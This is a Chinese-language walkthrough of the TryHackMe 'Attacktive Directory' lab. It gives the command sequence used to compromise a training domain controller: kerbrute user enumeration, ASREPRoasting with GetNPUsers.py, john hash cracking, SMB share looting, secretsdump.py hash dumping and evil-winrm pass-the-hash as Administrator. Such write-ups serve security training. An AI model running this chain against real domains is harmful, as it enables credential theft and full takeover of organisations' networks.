房间信息#
房间名称 | https://tryhackme.com/room/attacktivedirectory |
---|---|
描述 | 简单域渗透 |
积分 | 160💰 |
作者 | BadWiChell |
安装 Impacket#
安装 Impacket,这是一组用于处理网络协议的 Python 类。要了解有关 Impacket 的更多信息并了解其部分工具的概览,您可以查看此处
。
查看此
Github 存储库以了解如何安装它。
枚举#
我这里比较常用的是 nmap
nmap -sC -sV -oA tcp -vv 10.10.0.144
在 nmap 中我们也发现了主机名与 AD
接下来,我们将机器 ip 写入到/etc/hosts 中
echo <ip> spookysec.local >> /etc/hosts
枚举 2#
使用 enum4linux 我们能够枚举端口 139 和 445。这个工具有一个相当长的输出,因此为了演练我们只发布重要的部分。
enum4linux <spookysec.local>
再一次,我们设法检索了有关完整 AD 域名和机器域名以及一些稍后可能有用的用户名的信息。
通过 kerbrute 枚举用户#
kerbrute userenum --dc spookysec.local -d spookysec.local userlist.txt
在这个过程中我们发现了 svc-admin@spookysec.local
ASREPRoasting#
从上面输出中,我们能够验证一些活动的用户名。
现在我们已经发现了几个用户名,我们可以使用一种称为 ASREPRoasting 的技术,这意味着如果用户没有选择 Kerberos 预身份验证属性,则可以从该用户检索密码哈希。Impacket 提供了一个名为 GetNPUsers.py 的工具,它可以查询 AD,如果上面的属性不是选择性的,它将导出它们的 TGT。
GetNPUsers.py spookysec.local/svc-admin
靶场中使用的是 hashcat, 由于我的驱动有一些问题,这里使用的是 john。
john --wordlist=passwordlists.txt hash.txt
你也可以使用 hashcat, 模式选择可以查看 wiki 页面
SMB 枚举#
有了用户凭据,我们可以尝试登录 SMB 并探索来自域控制器的任何共享。这可以通过工具 smbclient 实现,确保使用用户“svc-admin”以及之前破解的密码。
smbclient -L spookysec.local --user svc-admin
在浏览了多个共享后,我们找到了文件“backup_credentials.txt”。
smbclient \\\\spookysec.local\\backup --user svc-admin
查看文件的内容,我们可以看到它是用 Base64 编码的。要对其进行解码,只需使用以下命令:
base64 -d backup_credentials.txt
权限提升#
使用备份帐户,我们这次可以使用 Impacket 的另一个工具,称为“secretsdump.py”,我们将能够获取该用户帐户有权访问的所有密码哈希。
secretsdump.py -just-dc backup@spookysec.local
evil-winrm -i spookysec.local -u Administrator -H <NT hash>